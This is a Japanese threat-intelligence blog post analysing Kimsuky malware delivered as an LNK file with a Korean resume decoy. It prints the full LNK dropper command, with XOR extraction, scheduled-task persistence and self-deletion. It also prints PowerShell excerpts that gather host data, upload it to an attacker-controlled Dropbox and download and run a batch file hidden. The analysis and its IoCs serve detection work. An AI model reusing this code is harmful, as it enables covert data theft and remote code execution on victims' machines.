

Dropbox APIを使用するKimsukyのマルウェア – IIJ Security Diary

sect.ij.ad.jp/blog/2026/03/dropbox-api-kimsuky-malware

Naoki Takayama

2026年3月17日

```
$apiUrl = "htt"+"ps://a"+"pi.dropb"+"oxapi.com/2/
$frompath=$a1
$stopath=$a1+"_set"
$appTemp = "false"
$body = @{
    "from_path" = $frompath
    "to_path" = $stopath
}
$bodyJson = $body | ConvertTo-Json
Invoke-RestMethod -Method Post -Uri $apiUrl -Head
$oo00 = "/c " + $dstOP
$ooEE = "cm"+"d.e"+"xe"
```

```
Start-Process $ooEE $oo00 -WindowStyle Hidden
```

2026年3月、IIJはマルウェアを含むLNKファイルを観測しました。分析を行った結果、今回観測したマルウェアは以前 AhnLab SEcurity intelligence Center (ASEC) が報告したKimsuky (北朝鮮に帰属するとされるAPTグループ) による攻撃キャンペーン¹で使用されたマルウェアと、TTPsや実装などで重複する点が非常に多いことが判明しました。マルウェアはDropbox API経由で感染したホストの情報を送信し、攻撃者が指定する次段のマルウェアを実行する機能を有しています。この記事ではマルウェアの詳細な解析結果を共有します。

LNKファイル

LNKファイルは韓国からパブリックマルウェアリポジトリ上にアップロードされていました。LNKファイルが開かれると、図1に示すようなコマンドが実行されます。

```
Name:
Arguments: ?/k for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe /s /b /od') do call %a "
Set=@('.lnk');$GoL = Get-Location; if($GoL -Match 'System32' -or $GoL -Match 'Program Files') {$GoL = '%temp%'};
$LoK = Get-ChildItem -Path $GoL -Recurse *.* -File | where {$_.extension -in $set} | where-object {$_.length -eq 0x0000A
CB6} | Select-Object -ExpandProperty FullName;$bDoT=New-Object System.IO.FileStream($LoK, [System.IO.FileMode]::Open, [
System.IO.FileAccess]::Read);$bDoT.Seek(0x00000FFC, [System.IO.SeekOrigin]::Begin);$bPsOrc=New-Object byte[] 0x00007E00;
$bDoT.Read($bPsOrc, 0, 0x00007E00);$fPsOrc = $LoK.replace('.lnk','hwp');sc $fPsOrc $bPsOrc -Encoding Byte;& $fPsOrc;$f
DoR='C:\PerfLog';if(-not(Test-Path $fDoR)) {mkdir $fDoR};attrib +h +s $fDoR;$bDoT.Seek(0x00008DFC,[System.IO.SeekOrigin]
::Begin);$bDoB=New-Object byte[] 0x00000D44; $bDoT.Read($bDoB, 0, 0x00000D44);$fDoB=$fDoR+'sch_ha.db';sc $fDoB $bDoB -E
ncoding Byte;$bDoT.Seek(0x00009B40,[System.IO.SeekOrigin]::Begin);$bPoS=New-Object byte[] 0x00000FEB; $bDoT.Read($bPoS,
0, 0x00000FEB);for($i=0;$i -lt 0x00000FEB;$i++) {$bPoS[$i]=$bPoS[$i] -bxor 0xAD;} $fPoS=$fDoR+'www.ps1';sc $fPoS $bPoS
-Encoding Byte; $bDoT.Seek(0x0000AB2B,[System.IO.SeekOrigin]::Begin);$bVoBoS=New-Object byte[] 0x0000018B;$bDoT.Read($bV
oBoS, 0, 0x0000018B);for($i=0;$i -lt 0x0000018B;$i++) {$bVoBoS[$i]=$bVoBoS[$i] -bxor 0xAD;} $fVoBoS=$fDoR+'17.vbs';sc $
fVoBoS $bVoBoS -Encoding Byte;schtasks /create /tn 'P' /xml $fDoB /f;schtasks /run /tn 'P'; $bDoT.Close();remove-item -p
ath $LoK -force;remove-item -path $fDoB -force; " && exit
Icon Location: .hwp

--- Extra blocks information ---

>> Environment variable data block
Environment variables: %windir%\SysWOW64\cmd.exe
```

図1: LNKファイルに含まれるコマンド

このコマンドはLNKファイル自身からデータを抽出・XORデコードして C:\PerfLog フォルダ下に展開します。展開されるファイルの内訳は以下の表の通りです。

ファイル名 説明

www.ps1 マルウェア本体

17.vbs C:\PerfLog\www.ps1 を実行するVBScript

sch_ha.db² C:\PerfLog\17.vbs を自動実行するタスクスケジューラXMLファイル

また、デコイドキュメントファイルをLNKファイルと同じフォルダ下に展開します。ドキュメントファイルは韓国のソフトウェア「Hancom Office」で使用される独自形式で作成されていました。

이 력 서

작성 년/월/일: [REDACTED]

1. 인적사항

성 명	[REDACTED]	
생년 월일	[REDACTED]	E-mail [REDACTED]

2. 최종 학력

기 간	학 교 명	학 과
[REDACTED]	[REDACTED]	[REDACTED]

3. 과거 근무 이력

기 간	회 사 명	부 서	담당 업무	직위/직급
[REDACTED]	[REDACTED]	[REDACTED]	[REDACTED]	[REDACTED]
[REDACTED]	[REDACTED]	[REDACTED]	[REDACTED]	[REDACTED]
[REDACTED]	[REDACTED]	[REDACTED]	[REDACTED]	[REDACTED]
[REDACTED]	[REDACTED]	[REDACTED]	[REDACTED]	[REDACTED]

4. 자격증

취득일	자격증 명	발행처
[REDACTED]	[REDACTED]	[REDACTED]

図2: 데코이드キュメントファイル (個人情報を含む可能性がある部分をマスクしています)

ファイルの展開後、コマンドは `schtasks.exe` を使用して `sch_ha.db` の内容をもとに **P** という名前のタスクを作成します。これは自動実行 (Persistence) 用のタスクであり、タスクが作成されるとシステムは定期的に `C:\PerfLog\www.ps1` を実行するようになります。最後にLNKファイル自身と `C:\PerfLog\sch_ha.db` を削除します。

www.ps1

`C:\PerfLog\www.ps1` が実行されると、まず感染したホストのMACアドレスをもとに固有のクライアントIDを生成します。

```
1 function Get_SBH {
2     param (
3         [byte[]]$ShashBytes
4     )
5     $shortHashBytes = $ShashBytes[0..7]
6     $shortHashString = [BitConverter]::ToString($shortHashBytes) -replace '-'
7     return $shortHashString
8 }
9
10 $strMA = (Get-WmiObject Win32_NetworkAdapter | Where-Object { $_.NetConnectionStatus -eq 2 } | Select-Object -First 1 -ExpandProperty MACAddress)
11 $md5 = [System.Security.Cryptography.HashAlgorithm]::Create("MD5")
12 $shash = $md5.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($strMA))
13 $iid = Get-SBH -hashBytes $shash
```

図3: クライアントIDを生成している処理

次に各種システム情報 (ドメイン、ユーザ名、OSバージョン、プロセス一覧など) を収集します。この際、コマンド `nslookup myip.opendns.com 208.67.222.220` を実行して、OpenDNSを使用してグローバルIPアドレス情報を収集します。収集された情報は `[System.IO.Path]::GetTempFileName()` 関数を使用して一時ファイル内に保存されます。

```
26 $fInfo = [System.IO.Path]::GetTempFileName()
27 $bDomUsr = $env:userdomain + " " + $env:username
28 $bProOcL = Get-Process | Out-String
29 $bOosVos = [System.Environment]::OSVersion
30 $bIoOpoo = ((& "nslookup" "myip.opendns.com" "208.67.222.220") | select -last 2) [0].Trim("Address:").Trim()
31 $bIoof = "$bOosVos`n$bIoOpoo`n$bDomUsr`n`n$bProOcL`n"
32 Set-Content -Path $fInfo -Value $bIoof
```

図4: システム情報を収集している処理

```
Microsoft Windows NT 10.0.26200.0
XXX.XXX.XXX.XXX
MySpecialComputer user

Handles  NPM(K)  PM(K)  WS(K)  CPU(s)  Id  SI ProcessName
-----  -
252      14      3904   5168           4728  0  AggregatorHost
242      12      6620  15904    0.38  11140  0  audiodg
273      15      4176   292      0.28  8860  1  backgroundTaskHost
379      18      5012   232      0.47  9104  1  backgroundTaskHost
667      26     27248  24568    9.36  10196  1  backgroundTaskHost
```

図5: 一時ファイルの内容の例

収集された情報はハードコードされたDropbox APIの認証情報を使用して、攻撃者が管理するDropboxフォルダにアップロードされます。まず、Dropboxフォルダ内に `Zzz02_[クライアントID]` というフォルダが存在するか確認して、存在しなければ作成します。次に `Zzz02_[クライアントID]` フォルダ内に `[日時]_info.ini` というファイル名でシステム情報を含む一時ファイルを

アップロードします。

最後に **Zzz02_[クライアントID]_ToKo** というファイルを一時フォルダ下に **tmp[ランダムな数値].bat** としてダウンロード・実行できないか試行します。ダウンロード・実行できた場合は Dropbox 上のファイルを **Zzz02_[クライアントID]_ToKo_set** にリネームします。

```
75 $a1 = $ccFd + ("z" + "o" + "k" + "o")
76 $b2 = ("t" + "mp" + (Get-Random -Minimum 10000 -Maximum 99999) + ".b" + "a" + "t")
77 $dstOP = [IO.Path]::Combine($env:TEMP, $b2)
78
79 $d4 = ("ht" + "tp" + "s://" + "co" + "nte" + "nt.dr" + "opb" + "oxap" + "i.co" + "m/2/fi" + "les/do" + "wnlo" + "ad")
80
81 $e5 = @{}
82 $e5["Autho" + "riza" + "tion"] = ("Be" + "arer " + $oAcOTK)
83
84 $f6 = @{"pa" + "th" = $a1}
85 $e5["Drop" + "box-A" + "PI-Ar" + "g"] = ($f6 | ConvertTo-Json -Compress)
86
87 try {
88     $z9 = [Guid]::NewGuid().ToString()
89     Invoke-RestMethod -Uri $d4 -Headers $e5 -Method ("P" + "ost") -ContentType ("appli" + "cation/octe" + "t-st" + "ream") -OutFile $dstOP
90     $z9 = [Environment]::TickCount
91     Write-Host ("o" + "k!")
92     $g7 = $true
93 }
94 catch {
95     Write-Host ("N" + "ot f" + "ou" + "nd!")
96     $g7 = $false
97 }
98
99 if($g7 -eq $true)
100 {
101     $apiUrl = "htt"+"ps://a"+"pi.dropb"+"oxapi.com/2/f"+"iles/m"+"ove_v2"
102     $frompath=$a1
103     $stopath=$a1+"_set"
104     $appTemp = "false"
105     $body = @{}
106     $body["from_path" = $frompath
107     $body["to_path" = $stopath
108     }
109     $bodyJson = $body | ConvertTo-Json
110     Invoke-RestMethod -Method Post -Uri $apiUrl -Headers $HdOors -Body $bodyJson
111     $oo00 = "/c " + $dstOP
112     $ooEE = "cm"+"d.e"+"xe"
113
114     Start-Process $ooEE $oo00 -WindowStyle Hidden
115 }
```

図6: ファイルをDropboxからダウンロードして実行している処理

実装から、攻撃者はまずアップロードされたシステム情報をもとに、標的としているユーザがマルウェアを実行したか確認して、その後に次段のマルウェア (RATなど) の感染に至るバッチファイルをDropboxにアップロードしてユーザに実行させるよう運用していると考えられます。

さいごに

IIJは本件以外でも正規サービス (GitHubやDropboxなど) を悪用した北朝鮮に帰属するとされるAPTグループの攻撃活動を、2026年1月以降に複数観測しています。攻撃者は今後も正規サービスを悪用した攻撃活動を実施すると考えられるので、引き続き警戒が必要だといえるでしょう。この記事で共有した解析結果やインディケーター情報を攻撃の検知・対応に役立てていただければ幸いです。

Appendix: IoCs

- ファイル SHA256ハッシュ値
 - afe9a0298d945105ee69e84bdd7c41f35dad869a44098cb7e65a6a32a01cc617 (LNKファイル)
 - 29afb88a2bbff600799a42ae033e8b49101998e238a1eb568bbb88bd8242cad5 (sch_ha.db)
 - 5aca578dd7894ca29c51ce911fbb78ebaf6b522c71a565be8525111e9a8b515f (www.ps1)
 - bedc8bd676a84df2e82f15a42ecec2a001a24725ee269334d46bde2983ea5f6b (17.vbs)
 - ファイルパス
 - C:\PerfLog\www.ps1
 - C:\PerfLog\17.vbs
 - C:\PerfLog\sch_ha.db
1. 論文ファイルに偽装したマルウェアの配布に注意(Kimsuky グループ) -ASEC
<https://asec.ahnlab.com/jp/88519/> [←](#)
 2. ASECが報告した攻撃キャンペーンでは sch_0514.db というファイル名が使用されていた。 [←](#)
 3. グローバルIPアドレスの取得処理について、ASECが報告した攻撃キャンペーンで観測されたマルウェアと全く同じ実装が採用されていました。

カテゴリー: [マルウェア解析](#)

タグ: [MalwareTargeted Attack](#)